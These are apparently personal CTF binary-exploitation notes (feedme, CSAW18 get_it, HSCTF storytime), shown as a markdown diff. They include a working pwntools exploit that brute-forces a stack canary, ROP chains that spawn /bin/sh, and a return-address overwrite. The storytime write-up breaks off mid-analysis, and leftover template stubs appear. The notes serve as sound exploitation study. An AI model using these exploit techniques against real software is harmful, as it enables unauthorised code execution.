So here we basically set only the first breakpoint, and hit CTRL+C to exit out of the 'feedme' prompt and then run 'bt' so that we can follow the backtrace to the parent function that we can also find if we look for (CTRL+SHIFT+E) **'Child IO error!'** :
![](41.png)
So we get the following code:
void FUN_080490b0(void)
{
undefined uVar1;
int local_1c;
uint local_18;
int local_14;
int local_10;
local_1c = 0;
local_18 = 0;
while( true ) {
if (799 < local_18) {
return;
}
local_14 = FUN_0806cc70();
if (local_14 == 0) break;
local_10 = FUN_0806cbe0(local_14,&local;_1c,0);
if (local_10 == -1) {
FUN_0804fc60("Wait error!");
FUN_0804ed20(0xffffffff);
}
if (local_1c == -1) {
FUN_0804fc60("Child IO error!");
FUN_0804ed20(0xffffffff);
}
FUN_0804fc60("Child exit.");
FUN_0804fa20(0);
local_18 = local_18 + 1;
}
uVar1 = FUN_08049036();
FUN_0804f700("YUM, got %d bytes!\n",uVar1);
return;
}
Here we see that it is calling the function responsible for setting up a child process in a loop that will run for 800 times, that means we can crash a child process 800 times before the program exits on us, So how do we exploit it?
So first, with the stack canary, we have the ability to overwrite the return address. The only thing stopping us other than the NX is the stack canary that we can bruteforce. The problem is that all of the child process will share the same canary. For the canary it will have 4 bytes, one null byte and 3 random bytes, so only 3 bytes that we do not know.
So we can overwrite the stack canary one byte a a time, The byte we overwrite it with will be a wild guess, if one child process dies we know that it was incorrect, and if it doesn't then we will know what our guess was correct. There are 256 different values that the byte can be, and since there are 3 bytes we are guessing that gives us a 256 * 3 = 768 possible guesses every combination if we guess one byte a a time. This can be done by only overwriting one byte at a time. with that we can deal with the stack canary.
Now onto the ROP chain: Once we have the stack canary and nothing will be able to stop us from reaching the return function to get code execution as usual. Then what do we execute ? NX is turned on, so we cannot just jump to the shellcode we place on the stack. However the elf does have PIE set to enabled which randomizes the address of code, Therefore building a ROP chain without an infoleak is possible. For this ROP Chain, we will be making an execve() syscall to /bin/sh to give us a shell.
Now to build our ROP chain we need to look for ROP Gadgets as we saw in the previous 2 challenges. We will use ROPGadget for that, check out [simplecalc](calc.html) to check out how i installed it. now let's find the following gadgets:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ ROPgadget --binary feedme| grep "mov.*\[eax\].*; ret$"
[...]
0x0807be31 : mov dword ptr [eax], edx ; ret
[...]
Here's an useful gadget because this will allow us to move the contents of the edx register into the area of space pointed to by the address of eax, and then return. So if we wanted to write to the address 1234 wec ould load that address into eax and the value we wanted to write into the edx register, then call this gadget.
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ ROPgadget --binary feedme| grep ": pop eax ; ret$"
0x080bb496 : pop eax ; ret
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ ROPgadget --binary feedme| grep ": pop edx ; ret$"
0x0806f34a : pop edx ; ret
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ ROPgadget --binary feedme| grep ": pop ecx ; pop ebx ; ret$"
0x0806f371 : pop ecx ; pop ebx ; ret
The last gadget we found is so that we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx and just return, so this is the next best thing, which will save us not having to use another gadget when we pop a value into the ebx register.
Now that we have gadgets for eax, edx, ecx:
![](42.png)
Now we need a gadget for the ebx register because this one will be needed to contain our **/bin/sh** string
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ ROPgadget --binary feedme| grep "int 0x80$"
0x080941d3 : add bh, al ; inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
0x0804975f : add byte ptr [eax], al ; int 0x80
0x0806ceb0 : add byte ptr [eax], al ; mov eax, edi ; mov ecx, 0x81 ; int 0x80
0x0806ceb1 : add byte ptr [ecx + 0x81b9f8], cl ; add byte ptr [eax], al ; int 0x80
0x0806cf3c : add dword ptr [eax], eax ; add byte ptr [eax], al ; int 0x80
0x0806f428 : clc ; mov ecx, 0x80 ; int 0x80
0x0806ceb3 : clc ; mov ecx, 0x81 ; int 0x80
0x080941d5 : inc ebp ; test byte ptr [ecx], dl ; add byte ptr [eax], al ; int 0x80
**0x08049761 : int 0x80**
Here we see that at **0x08049761** is a gadget that enables us to make a syscall to the kernel to get a shell. in x86, you can just call int 0x80. Syscall will expect 3 arguments as detailed below:
eax : 11 # SYSCALL ID
ebx : bss addr 0x80eb928 # address of the command
ecx : 0x0
edx : 0x0
So now with this we get our ROP Chain:
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(0x6e69622f) # /bin string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a) # pop edx
payload += p32(0x0068732f) # /sh string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x8049761) # syscall
And we get our full exploit here:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ vim exploit.py
# This is based off of a Raytheon SI Govs talk
# First we import pwntools
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
# We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary
known_canary = "\x00"
# Ascii representation of the canary
hex_canary = "00"
# The current canary which will be incremented
canary = 0x0
# The number of bytes we will give as input
inp_bytes = 0x22
# Iterate 3 times for the three bytes we need to brute force
for j in range(0, 3):
# Iterate up to 0xff times to brute force all posible values for byte
for i in xrange(0xff):
log.info("Trying canary: " + hex(canary) + hex_canary)
# Send the current input size
target.send(p32(inp_bytes)[0])
# Send this iterations canary
target.send("0"*0x20 + known_canary + p32(canary)[0])
# Scan in the output, determine if we have a correct value
output = target.recvuntil("exit.")
if "YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print "next byte is: " + hex(canary)
known_canary = known_canary + p32(canary)[0]
inp_bytes = inp_bytes + 1
new_canary = hex(canary)
new_canary = new_canary.replace("0x", "")
hex_canary = new_canary + hex_canary
canary = 0x0
break
else:
# If this isn't the canary value, increment canary by one and move onto next loop
canary = canary + 0x1
# Return the canary
return int(hex_canary, 16)
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info("The canary is: " + hex(canary))
# Now that we have the canary, we can start making our final payload
# This will cover the space up to, and including the canary
payload = "0"*0x20 + p32(canary)
# This will cover the rest of the space between the canary and the return address
payload += "1"*0xc
# Start putting together the ROP Chain
# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx
payload += p32(0x6e69622f) # /bin string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0x80eb928 + 0x4) # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a) # pop edx
payload += p32(0x0068732f) # /sh string in hex, in little endian
payload += p32(0x0807be31) # mov dword ptr [eax], edx ; ret
# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496) # pop eax ; ret
payload += p32(0xb) # 11
payload += p32(0x0806f371) # pop ecx ; pop ebx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x80eb928) # bss address
payload += p32(0x0806f34a) # pop edx ; ret
payload += p32(0x0) # 0x0
payload += p32(0x8049761) # syscall
# Send the amount of bytes for our payload, and the payload itself
target.send("\x78")
target.send(payload)
# Drop to an interactive shell
target.interactive()
Now let's see if it works:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/feed]
→ python2 exploit.py
[+] Starting local process './feedme': pid 208854
[*] Trying canary: 0x000
[*] Trying canary: 0x100
[*] Trying canary: 0x200
[*] Trying canary: 0x300
[*] Trying canary: 0x400
[*] Trying canary: 0x500
[*] Trying canary: 0x600
[*] Trying canary: 0x700
[*] Trying canary: 0x800
[*] Trying canary: 0x900
[*] Trying canary: 0xa00
[*] Trying canary: 0xb00
[*] Trying canary: 0xc00
[*] Trying canary: 0xd00
[*] Trying canary: 0xe00
[*] Trying canary: 0xf00
[...]
[*] Trying canary: 0x7d5cc000
[*] Trying canary: 0x7e5cc000
[*] Trying canary: 0x7f5cc000
[*] Trying canary: 0x805cc000
[*] Trying canary: 0x815cc000
[*] Trying canary: 0x825cc000
[*] Trying canary: 0x835cc000
[*] Trying canary: 0x845cc000
[*] Trying canary: 0x855cc000
[*] Trying canary: 0x865cc000
[*] Trying canary: 0x875cc000
[*] Trying canary: 0x885cc000
[*] Trying canary: 0x895cc000
[*] Trying canary: 0x8a5cc000
[*] Trying canary: 0x8b5cc000
[*] Trying canary: 0x8c5cc000
[*] Trying canary: 0x8d5cc000
next byte is: 0x8d
[*] The canary is: 0x8d5cc000
[*] Switching to interactive mode
FEED ME!
ATE 30303030303030303030303030303030...
$ id
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
$ cat flag.txt
flag{g0ttem_b0yz}
$ exit
And that's it ! We have been able to spawn a shell and print the flag.
## Title
text
` ![]()
## Title
text
` ![]()

309
2/get.md Normal file
View file

@ -0,0 +1,309 @@
# CSAW 2018 Get It
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
--2021-02-27 14:55:14-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it [following]
--2021-02-27 14:55:15-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8744 (8.5K) [application/octet-stream]
Saving to: get_it
get_it 100%[=======================================================================================================================================================================================================>] 8.54K --.-KB/s in 0s
2021-02-27 14:55:15 (36.0 MB/s) - get_it saved [8744/8744]
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ chmod +x get_it
` ![]()
## Solution
first we start by executing the binary to see what it does:
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ ./get_it
Do you gets it??
maybe
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ ./get_it
Do you gets it??
yes
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ pwn checksec get_it
[*] '/home/nothing/binexp/2/get/get_it'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
It prints text, and then asks for our input. This is a 64 bit binary with a non-executable stack. Let's check it from inside ghidra:
![](16.png)
The binary really has a simplistic code for the main function:
undefined8 main(void)
{
char local_28 [32];
puts("Do you gets it??");
gets(local_28);
return 0;
}
So our input text is given to the local_28 variable which can hold 32 characters, and it is being passed through a gets function, and as we saw in the previous binary, the gets function is not secure because it does not know a limit, there is no size restriction for the data that gets scanned in, it will simply scan in data until it gets either a newline character or an EOF. Because of this we can write more data to our input text variable (local_28) than it can hold.
Looking at the other functions of this binary, we see that there is another function that's there to spawn a shell for us:
![](17.png)
void give_shell(void)
{
system("/bin/bash");
return;
}
From here it's safe to assume that the goal is to find a way to spawn a shell thanks to the give_shell function. Since we know the gets function does not have an upper limit, so our goal is to overwrite the return function at the end, so that we can do what we want with it:
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ gdb ./get_it
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./get_it...
(No debugging symbols found in ./get_it)
gef➤ disas main
Dump of assembler code for function main:
0x00000000004005c7 <+0>: push rbp
0x00000000004005c8 <+1>: mov rbp,rsp
0x00000000004005cb <+4>: sub rsp,0x30
0x00000000004005cf <+8>: mov DWORD PTR [rbp-0x24],edi
0x00000000004005d2 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x00000000004005d6 <+15>: mov edi,0x40068e
0x00000000004005db <+20>: call 0x400470
0x00000000004005e0 <+25>: lea rax,[rbp-0x20]
0x00000000004005e4 <+29>: mov rdi,rax
0x00000000004005e7 <+32>: mov eax,0x0
0x00000000004005ec <+37>: call 0x4004a0
0x00000000004005f1 <+42>: mov eax,0x0
0x00000000004005f6 <+47>: leave
0x00000000004005f7 <+48>: ret
End of assembler dump.
gef➤ b *0x4005f1
Breakpoint 1 at 0x4005f1
gef➤ r
Here we set our first breakpoint right after the gets call, so let's run the binary and give it a pattern easy to remember:
gef➤ r
Starting program: /home/nothing/binexp/2/get/get_it
Do you gets it??
13371337
Breakpoint 1, 0x00000000004005f1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0e0 → "13371337"
$rbx : 0x0
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffe0d0 → 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it"
$rbp : 0x00007fffffffe100 → 0x0000000000400600 → <__libc_csu_init+0> push r15
$rsi : 0x31373333
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
$rip : 0x00000000004005f1 → mov eax, 0x0
$r8 : 0x00007fffffffe0e0 → "13371337"
$r9 : 0x0
$r10 : 0x6e
$r11 : 0x246
$r12 : 0x00000000004004c0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0d0│+0x0000: 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it" ← $rsp
0x00007fffffffe0d8│+0x0008: 0x0000000100000000
0x00007fffffffe0e0│+0x0010: "13371337" ← $rax, $r8
0x00007fffffffe0e8│+0x0018: 0x0000000000400400 → add BYTE PTR [rax], al
0x00007fffffffe0f0│+0x0020: 0x00007fffffffe1f0 → 0x0000000000000001
0x00007fffffffe0f8│+0x0028: 0x0000000000000000
0x00007fffffffe100│+0x0030: 0x0000000000400600 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffe108│+0x0038: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005e4 mov rdi, rax
0x4005e7 mov eax, 0x0
0x4005ec call 0x4004a0
●→ 0x4005f1 mov eax, 0x0
0x4005f6 leave
0x4005f7 ret
0x4005f8 nop DWORD PTR [rax+rax*1+0x0]
0x400600 <__libc_csu_init+0> push r15
0x400602 <__libc_csu_init+2> push r14
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "get_it", stopped 0x4005f1 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005f1 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
no need to search for the pattern, we see that our pattern appears at $rax ( 0x00007fffffffe0e0 )
gef➤ i f
Stack level 0, frame at 0x7fffffffe110:
rip = 0x4005f1 in main; saved rip = 0x7ffff7e14d0a
Arglist at 0x7fffffffe100, args:
Locals at 0x7fffffffe100, Previous frame's sp is 0x7fffffffe110
Saved registers:
rbp at 0x7fffffffe100, rip at 0x7fffffffe108
here we see that the return address is stored at 0x7fffffffe108, lets verify that our pattern is at the address we found above:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6026b0 - 0x6026ba → "13371337\n"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe0e0 - 0x7fffffffe0e8 → "13371337"
and it is! now we need to calculate the offset between 0x00007fffffffe0e0 and 0x7fffffffe108
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ python3
Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffe0e0 - 0x7fffffffe108 )
'-0x28'
So we get a 0x28 byte offset which is 40 bytes in decimal, basically we need to write 40 bytes worth of input, and then we can write over the return address. Tis address will be executed when the ret instruction is executed, which will give us code execution. We need the address of the give_shell function which we get from ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined give_shell()
undefined AL:1
give_shell XREF[3]: Entry Point(*), 004006bc,
00400758(*)
004005b6 55 PUSH RBP
now that we know that we need 40 bytes of input, and then the address 0x004005b6, we can create our payload:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ vim exploit.py
from pwn import *
import sys
target = process("./get_it")
payload = b""
payload += b"\x00" * 0x28
payload += p64(0x4005b6)
target.sendline(payload)
target.interactive()
Basically with this exploit.py we create a payload that has 40 nullbytes (0x28 in hexa) and then contains the address of the give_shell function, so let's see if it works:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ python3 exploit.py
[+] Starting local process './get_it': pid 244402
[*] Switching to interactive mode
Do you gets it??
$ w
21:07:19 up 1 day, 22:20, 3 users, load average: 0.16, 0.14, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nothing pts/1 tmux(6724).%3 16:42 6.00s 18.38s 0.15s python3 exploit.py
nothing pts/3 tmux(6724).%4 19:14 45:07 0.88s 0.04s less
nothing pts/4 tmux(6724).%5 19:21 3:35 2.46s 2.46s -zsh
and that's it! we have been able to spawn a shell with the binary file.
## Title
text
` ![]()
## Title
text
` ![]()

389
2/hs.md Normal file
View file

@ -0,0 +1,389 @@
# Binary Exploitation
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/core
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/libc.so.6
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/storytime
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ file storytime
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ chmod +x storytime ; ls -lash
total 4.1M
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 7 10:27 .
4.0K drwxr-xr-x 13 nothing nothing 4.0K Mar 7 10:26 ..
2.3M -rw-r--r-- 1 nothing nothing 2.3M Mar 7 10:26 core
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 7 10:27 libc.so.6
12K -rwxr-xr-x 1 nothing nothing 8.3K Mar 7 10:27 storytime
` ![]()
## Solution
First of all let's run pwn checksec on the binary and then run it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ pwn checksec storytime
[*] '/home/nothing/binexp/2/hs/storytime'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
yes
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
no
So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra:
![](47.png)
We get the following disassembled code:
undefined8 main(void)
{
undefined local_38 [48];
setvbuf(stdout,(char *)0x0,2,0);
write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
write(1,"Tell me a story: \n",0x12);
read(0,local_38,400);
return 0;
}
Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary, so nothing stops us from executing code, now what will we execute ? When we look under the imports in Ghidra, we see the following imported functions:
![](48.png)
So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets. First we will need to get a libc infoleak with a **write** function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a [onegadget](https://github.com/david942j/one_gadget), which is a ROP gadget that can be found in the libc, that can potentially spawn a shell. Now we need to know what the libc version is, we can view it from gdb with the **vmmap** command.
![](49.png)
Here we want to set the first breakpoint after the read call at **0x4x4x4x40069c** , so we can locate where our text is:
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
→ gdb ./storytime
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./storytime...
(No debugging symbols found in ./storytime)
gef➤ b *0x40069c
Breakpoint 1 at 0x40069c
gef➤ r
Starting program: /home/nothing/binexp/2/hs/storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
13371337
Breakpoint 1, 0x000000000040069c in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00000000004006a0 → <__libc_csu_init+0> push r15
$rcx : 0x00007ffff7ebd052 → 0x5677fffff0003d48 ("H="?)
$rdx : 0x190
$rsp : 0x00007fffffffdf38 → 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax
$rbp : 0x0
$rsi : 0x00007fffffffdf00 → 0x3733333137333331 ("13371337"?)
$rdi : 0x0
$rip : 0x000000000040069c → ret
$r8 : 0x0
$r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64
$r10 : 0xfffffffffffffb87
$r11 : 0x246
$r12 : 0x00000000004004d0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax ← $rsp
0x00007fffffffdf40│+0x0008: 0x00007fffffffe028 → 0x00007fffffffe358 → "/home/nothing/binexp/2/hs/storytime"
0x00007fffffffdf48│+0x0010: 0x00000001f7fca000
0x00007fffffffdf50│+0x0018: 0x000000000040062e → push rbp
0x00007fffffffdf58│+0x0020: 0x00007fffffffe339 → 0x61b7180f2454c920
0x00007fffffffdf60│+0x0028: 0x00000000004006a0 → <__libc_csu_init+0> push r15
0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017
0x00007fffffffdf70│+0x0038: 0x00000000004004d0 → <_start+0> xor ebp, ebp
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400691 call 0x4004b0
0x400696 mov eax, 0x0
0x40069b leave
●→ 0x40069c ret
↳ 0x7ffff7df4b25 <__libc_start_main+213> mov edi, eax
0x7ffff7df4b27 <__libc_start_main+215> call 0x7ffff7e0c820
0x7ffff7df4b2c <__libc_start_main+220> mov rax, QWORD PTR [rsp]
0x7ffff7df4b30 <__libc_start_main+224> lea rdi, [rip+0x164729] # 0x7ffff7f59260
0x7ffff7df4b37 <__libc_start_main+231> mov rsi, QWORD PTR [rax]
0x7ffff7df4b3a <__libc_start_main+234> xor eax, eax
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40069c → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffdf00 - 0x7fffffffdf08 → "13371337[...]"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdf38:
rip = 0x40069c in main; saved rip = 0x7ffff7df4b25
Arglist at unknown address.
Locals at unknown address, Previous frame's sp is 0x7fffffffdf40
Saved registers:
rip at 0x7fffffffdf38
So here we see that our pattern is located at **0x7fffffffdf00** and the return address is at **0x7fffffffdf38** so we can now calculate the offset between the 2 with python's hex() function easily:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdf00 - 0x7fffffffdf38 )
'-0x38'
And we get a 0x38 bytes offset between the start of our input and the return address. Now for the write libc infoleak, we need to make use of the following registers:
rdi 0x1 (stdout file handle)
rsi got address entry for write
rdx value => 8
Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the **rdx** register is set to 0x190 whgich will fit our needs:
00400680 48 8d 45 d0 LEA RAX=>local_38,[RBP + -0x30]
00400684 ba 90 01 MOV EDX,0x190
00 00
00400689 48 89 c6 MOV RSI,RAX
0040068c bf 00 00 MOV EDI,0x0
00 00
00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __
Now for the got entry of **write** in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ ROPgadget --binary storytime| grep rsi
